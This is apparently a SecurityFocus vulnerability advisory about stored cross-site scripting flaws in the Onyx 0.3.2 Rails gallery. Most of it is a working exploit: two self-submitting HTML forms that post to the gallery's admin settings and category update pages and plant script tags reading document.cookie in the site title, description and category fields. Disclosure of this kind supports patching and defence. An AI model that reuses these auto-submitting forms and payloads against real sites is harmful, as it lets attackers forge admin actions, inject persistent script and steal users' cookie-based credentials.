source: https://www.securityfocus.com/bid/42446/info
Onyx is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.
Onyx 0.3.2is vulnerable; other versions may also be affected.<form action="http://www.example.com/admin/settings/update" method="post" name="main"><inputtype="hidden" name="setting[site_title]" value="My Onyx Gallery"/><inputtype="hidden" name="setting[site_keywords]" value='Ruby on Rails Gallery"><script>alert(document.cookie)</script>'/><inputtype="hidden" name="setting[site_description]" value='Onyx is an open source free ruby on rails gallery"><script>alert(document.cookie)</script>'/><inputtype="hidden" name="setting[welcome_title]" value="Welcome!"/><inputtype="hidden" name="setting[welcome_message]" value="Welcome to my gallery!"/><inputtype="hidden" name="setting[uniform_width]" value="500"/><inputtype="hidden" name="setting[uniform_height]" value="500"/><inputtype="hidden" name="setting[thumbnail_width]" value="100"/><inputtype="hidden" name="setting[thumbnail_height]" value="100"/><inputtype="hidden" name="setting[dummy_watermark_enabled]" value="0"/><inputtype="hidden" name="setting[tooltips_enabled]" value="1"/><inputtype="hidden" name="setting[tooltip_width]" value="300"/><inputtype="hidden" name="setting[maximum_uploadable_files]" value="10"/><inputtype="hidden" name="commit" value="Update Settings"/></form><script>
document.main.submit();</script><form action="http://www.example.com/admin/categories/update/1" method="post" name="main"><inputtype="hidden" name="category[name]" value="General"/><inputtype="hidden" name="category[description]" value='My Pictures"><script>alert(document.cookie)</script>'/><inputtype="hidden" name="category[created_at(1i)]" value="2010"/><inputtype="hidden" name="category[created_at(2i)]" value="7"/><inputtype="hidden" name="category[created_at(3i)]" value="23"/><inputtype="hidden" name="category[created_at(4i)]" value="04"/><inputtype="hidden" name="category[created_at(5i)]" value="00"/><inputtype="hidden" name="commit" value="Edit"/></form><script>
document.main.submit();</script>